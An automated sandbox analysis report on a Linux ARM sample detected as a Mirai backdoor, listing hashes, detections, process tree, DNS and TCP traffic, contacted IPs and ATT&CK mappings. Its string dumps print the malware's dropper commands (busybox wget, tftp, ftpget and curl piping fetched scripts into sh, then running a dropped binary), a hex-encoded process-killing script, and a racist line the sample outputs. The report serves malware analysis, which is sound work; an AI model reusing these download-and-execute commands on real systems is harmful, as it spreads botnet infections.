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Linux Analysis Report
nabarm5.elf

Overview

General Information

Sample name:	nabarm5.elf
Analysis ID:	1643345
MD5:	5bb49e8af8e266d807e30d1361da6f3a
SHA1:	be0f5cb88a09051245207147c5a23112135e72cf
SHA256:	ab79176ab34c50a57366c4f304324fc6aa1eb88d01f3095de03be4cb4d6e1111
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643345
Start date and time:	2025-03-19 19:27:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabarm5.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/60@27/0

Runtime Messages

Command:	/tmp/nabarm5.elf
PID:	5439
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

nabarm5.elf (PID: 5439, Parent: 5360, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/nabarm5.elf

nabarm5.elf New Fork (PID: 5447, Parent: 5439)

nabarm5.elf New Fork (PID: 5449, Parent: 5447)

nabarm5.elf New Fork (PID: 5451, Parent: 5447)

nabarm5.elf New Fork (PID: 5453, Parent: 5447)

cleanup

String: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

Sends malformed DNS queries

Source: global traffic

DNS traffic detected: malformed DNS query: watchmepull.dyn. [malformed]

Source: global traffic	TCP traffic: 192.168.2.13:42440 -> 104.248.47.182:1440
Source: global traffic	TCP traffic: 192.168.2.13:40654 -> 185.220.204.227:1440

Source: /tmp/nabarm5.elf (PID: 5439)

Socket: 127.0.0.1:39148

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 184.156.123.107
Source: unknown	TCP traffic detected without corresponding DNS query: 184.156.123.107
Source: unknown	TCP traffic detected without corresponding DNS query: 211.69.179.242
Source: unknown	TCP traffic detected without corresponding DNS query: 211.69.179.242
Source: unknown	TCP traffic detected without corresponding DNS query: 116.105.181.145
Source: unknown	TCP traffic detected without corresponding DNS query: 116.105.181.145
Source: unknown	TCP traffic detected without corresponding DNS query: 18.95.188.131
Source: unknown	TCP traffic detected without corresponding DNS query: 222.64.180.63
Source: unknown	TCP traffic detected without corresponding DNS query: 18.95.188.131
Source: unknown	TCP traffic detected without corresponding DNS query: 222.64.180.63
Source: unknown	TCP traffic detected without corresponding DNS query: 56.101.119.249
Source: unknown	TCP traffic detected without corresponding DNS query: 56.101.119.249
Source: unknown	TCP traffic detected without corresponding DNS query: 5.126.1.121
Source: unknown	TCP traffic detected without corresponding DNS query: 130.123.206.194
Source: unknown	TCP traffic detected without corresponding DNS query: 5.126.1.121
Source: unknown	TCP traffic detected without corresponding DNS query: 171.47.112.187
Source: unknown	TCP traffic detected without corresponding DNS query: 130.123.206.194
Source: unknown	TCP traffic detected without corresponding DNS query: 8.161.197.128
Source: unknown	TCP traffic detected without corresponding DNS query: 171.47.112.187
Source: unknown	TCP traffic detected without corresponding DNS query: 8.161.197.128
Source: unknown	TCP traffic detected without corresponding DNS query: 137.28.201.205
Source: unknown	TCP traffic detected without corresponding DNS query: 192.27.217.2
Source: unknown	TCP traffic detected without corresponding DNS query: 137.28.201.205
Source: unknown	TCP traffic detected without corresponding DNS query: 134.77.238.189
Source: unknown	TCP traffic detected without corresponding DNS query: 192.27.217.2
Source: unknown	TCP traffic detected without corresponding DNS query: 174.27.57.196
Source: unknown	TCP traffic detected without corresponding DNS query: 134.77.238.189
Source: unknown	TCP traffic detected without corresponding DNS query: 157.152.63.157
Source: unknown	TCP traffic detected without corresponding DNS query: 174.27.57.196
Source: unknown	TCP traffic detected without corresponding DNS query: 190.142.149.116
Source: unknown	TCP traffic detected without corresponding DNS query: 157.152.63.157
Source: unknown	TCP traffic detected without corresponding DNS query: 171.86.237.172
Source: unknown	TCP traffic detected without corresponding DNS query: 190.142.149.116
Source: unknown	TCP traffic detected without corresponding DNS query: 160.223.34.70
Source: unknown	TCP traffic detected without corresponding DNS query: 171.86.237.172
Source: unknown	TCP traffic detected without corresponding DNS query: 70.79.166.119
Source: unknown	TCP traffic detected without corresponding DNS query: 160.223.34.70
Source: unknown	TCP traffic detected without corresponding DNS query: 166.38.98.57
Source: unknown	TCP traffic detected without corresponding DNS query: 70.79.166.119
Source: unknown	TCP traffic detected without corresponding DNS query: 131.96.216.238
Source: unknown	TCP traffic detected without corresponding DNS query: 166.38.98.57
Source: unknown	TCP traffic detected without corresponding DNS query: 131.96.216.238
Source: unknown	TCP traffic detected without corresponding DNS query: 6.149.136.16
Source: unknown	TCP traffic detected without corresponding DNS query: 66.245.104.2
Source: unknown	TCP traffic detected without corresponding DNS query: 6.149.136.16
Source: unknown	TCP traffic detected without corresponding DNS query: 205.160.158.150
Source: unknown	TCP traffic detected without corresponding DNS query: 66.245.104.2
Source: unknown	TCP traffic detected without corresponding DNS query: 148.142.106.4
Source: unknown	TCP traffic detected without corresponding DNS query: 205.160.158.150
Source: unknown	TCP traffic detected without corresponding DNS query: 58.122.135.26

Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn
Source: global traffic	DNS traffic detected: DNS query: ohlookthereismyboats.geek
Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn. [malformed]

Source: nabarm5.elf	String found in binary or memory: http:///curl.sh
Source: nabarm5.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname Day2
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sample	String containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal52.troj.linELF@0/60@27/0

Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5470/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5470/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5471/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5471/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5472/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5472/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5473/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5473/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5463/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5463/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5474/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5474/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5464/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5464/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5464/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5464/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5475/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5475/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5465/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5465/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5465/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5465/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5476/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5476/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5466/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5466/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5466/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5466/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5477/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5477/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5480/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5480/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5467/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5467/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5467/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5467/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5478/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5478/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5468/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5468/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5479/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5479/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5469/maps	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5451)	File opened: /proc/5469/cmdline	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/5382/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/230/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/110/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/231/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/111/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/232/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/112/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/233/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/113/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/234/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/114/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/235/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/115/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/236/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/116/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/237/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/117/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/238/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/118/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/239/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/119/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/3633/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/914/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/10/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/917/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/11/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/12/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/13/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/14/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/15/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/16/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/5277/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/17/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/18/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/19/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/240/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/3095/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/120/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/241/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/121/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/242/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/1/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/122/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/243/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/2/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/123/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/244/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/3/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/124/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/245/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/1588/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/125/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/4/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/246/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/126/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/5/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/247/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/127/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/6/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/248/comm	Jump to behavior
Source: /tmp/nabarm5.elf (PID: 5439)	File opened: /proc/128/comm	Jump to behavior

Source: /tmp/nabarm5.elf (PID: 5439)

Queries kernel information via 'uname':

Jump to behavior

Source: nabarm5.elf, 5439.1.000055ebe6925000.000055ebe6a73000.rw-.sdmp, nabarm5.elf, 5449.1.000055ebe6925000.000055ebe6a73000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: nabarm5.elf, 5439.1.000055ebe6925000.000055ebe6a73000.rw-.sdmp, nabarm5.elf, 5449.1.000055ebe6925000.000055ebe6a73000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: nabarm5.elf, 5439.1.00007ffc5dd3a000.00007ffc5dd5b000.rw-.sdmp, nabarm5.elf, 5449.1.00007ffc5dd3a000.00007ffc5dd5b000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: nabarm5.elf, 5439.1.00007ffc5dd3a000.00007ffc5dd5b000.rw-.sdmp, nabarm5.elf, 5449.1.00007ffc5dd3a000.00007ffc5dd5b000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/nabarm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabarm5.elf

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
nabarm5.elf	28%	Virustotal		Browse
nabarm5.elf	31%	ReversingLabs	Linux.Backdoor.Mirai

Name	IP	Active	Malicious	Reputation
watchmepull.dyn	185.220.204.227	true	false	high
ohlookthereismyboats.geek	45.147.251.145	true	false	high
watchmepull.dyn. [malformed]	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabarm5.elf	false		high
http:///curl.sh	nabarm5.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
85.114.175.31	unknown	Russian Federation	8439	AISTTogliattiRussiaRU	false
40.18.254.110	unknown	United States	4249	LILLY-ASUS	false
83.128.152.225	unknown	Netherlands	15435	KABELFOONDELTAFiberNederlandNL	false
52.6.188.51	unknown	United States	14618	AMAZON-AESUS	false
77.221.185.81	unknown	United Kingdom	8607	TIMICOUnitedKingdomGB	false
51.162.136.130	unknown	United Kingdom	2686	ATGS-MMD-ASUS	false
166.238.112.196	unknown	United States	26611	COMCELSACO	false
202.69.89.49	unknown	Hong Kong	4515	ERX-STARHKTLimitedHK	false
19.242.29.223	unknown	United States	3	MIT-GATEWAYSUS	false
78.147.42.109	unknown	United Kingdom	13285	OPALTELECOM-ASTalkTalkCommunicationsLimitedGB	false
15.120.113.250	unknown	United States	13979	ATT-IPFRUS	false
197.92.161.100	unknown	South Africa	10474	OPTINETZA	false
58.122.135.26	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
114.2.255.68	unknown	Indonesia	56046	CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN	false
42.82.127.232	unknown	Korea Republic of	9845	CJCKN-AS-KRLGHelloVisionCorpKR	false
37.109.247.192	unknown	Poland	8374	PLUSNETPlusnetworkoperatorinPolandPL	false
177.255.59.191	unknown	Colombia	27831	ColombiaMovilCO	false
203.221.239.75	unknown	Australia	7545	TPG-INTERNET-APTPGTelecomLimitedAU	false
30.200.201.247	unknown	United States	7922	COMCAST-7922US	false
201.115.185.128	unknown	Mexico	8151	UninetSAdeCVMX	false
88.83.170.168	unknown	Czech Republic	5610	O2-CZECH-REPUBLICCZ	false
185.228.130.51	unknown	Moldova Republic of	207046	REDSERVICIOES	false
156.68.122.2	unknown	United States	297	AS297US	false
102.52.243.111	unknown	Morocco	36903	MT-MPLSMA	false
215.148.151.50	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
71.88.249.46	unknown	United States	20115	CHARTER-20115US	false
116.217.210.151	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
214.186.220.127	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
149.215.164.185	unknown	Germany	5605	NETUSEDE	false
56.227.18.218	unknown	United States	2686	ATGS-MMD-ASUS	false
43.150.155.110	unknown	Japan	4249	LILLY-ASUS	false
34.156.18.176	unknown	United States	2686	ATGS-MMD-ASUS	false
37.131.213.83	unknown	Russian Federation	48524	INTERRA-ASatPervouralskBilimbaySeverkaSredneuralsk	false
156.195.218.60	unknown	Egypt	8452	TE-ASTE-ASEG	false
93.124.131.46	unknown	Norway	25400	TELIA-NORWAY-ASTeliaNorwayCoreNetworksNO	false
86.88.83.210	unknown	Netherlands	1136	KPNKPNNationalEU	false
164.79.153.45	unknown	United States	45133	SINGAPORE-POLYTECHNIC-AS-APSingaporePolytechnicSG	false
59.117.96.84	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
65.112.4.3	unknown	United States	1742	HARVARD-UNIVUS	false
112.63.153.202	unknown	China	56040	CMNET-GUANGDONG-APChinaMobilecommunicationscorporation	false
192.27.217.2	unknown	United States	10355	DSCGAUS	false
223.189.8.187	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
149.27.120.94	unknown	Kazakhstan	29355	KCELL-ASKZ	false
161.236.107.135	unknown	United States	396269	BPL-ASNUS	false
170.158.180.203	unknown	United States	55002	DEFENSE-NETUS	false
63.103.27.116	unknown	United States	701	UUNETUS	false
16.162.169.161	unknown	United States	unknown	unknown	false
183.0.169.59	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
168.8.153.230	unknown	United States	3480	PEACHNET-AS2US	false
213.237.192.45	unknown	United Kingdom	5587	ITILITY-LIMITEDInternetServiceProviderGB	false
12.255.197.90	unknown	United States	7018	ATT-INTERNET4US	false
109.6.241.142	unknown	France	15557	LDCOMNETFR	false
141.217.254.215	unknown	United States	237	MERIT-AS-14US	false
72.115.230.81	unknown	United States	22394	CELLCOUS	false
193.117.175.111	unknown	United Kingdom	47474	VIRTUAL1GB	false
72.220.155.48	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
222.64.180.63	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
164.21.88.65	unknown	Germany	29355	KCELL-ASKZ	false
209.102.203.33	unknown	United States	22561	CENTURYLINK-LEGACY-LIGHTCOREUS	false
24.144.95.180	unknown	United States	33363	BHN-33363US	false
9.183.62.168	unknown	United States	3356	LEVEL3US	false
57.108.104.25	unknown	Belgium	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
77.247.72.37	unknown	Denmark	31590	RACKHOSTING-ASDK	false
36.125.91.116	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
37.254.245.118	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
13.162.9.92	unknown	United States	7018	ATT-INTERNET4US	false
223.2.97.27	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
81.214.224.175	unknown	Turkey	9121	TTNETTR	false
69.89.159.198	unknown	United States	22976	FIRST-CITIZENS-01US	false
62.178.234.136	unknown	Austria	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
199.226.53.80	unknown	United States	22691	ISPNET-1US	false
4.54.79.166	unknown	United States	3356	LEVEL3US	false
126.52.206.39	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
41.44.135.241	unknown	Egypt	8452	TE-ASTE-ASEG	false
29.180.226.87	unknown	United States	7922	COMCAST-7922US	false
211.228.58.252	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
62.247.178.152	unknown	Sweden	702	UUNETUS	false
157.163.90.50	unknown	Germany	22192	SSHENETUS	false
85.109.216.17	unknown	Turkey	9121	TTNETTR	false
95.229.69.198	unknown	Italy	3269	ASN-IBSNAZIT	false
87.177.193.19	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
12.121.15.243	unknown	United States	7018	ATT-INTERNET4US	false
34.139.236.134	unknown	United States	2686	ATGS-MMD-ASUS	false
199.240.251.229	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
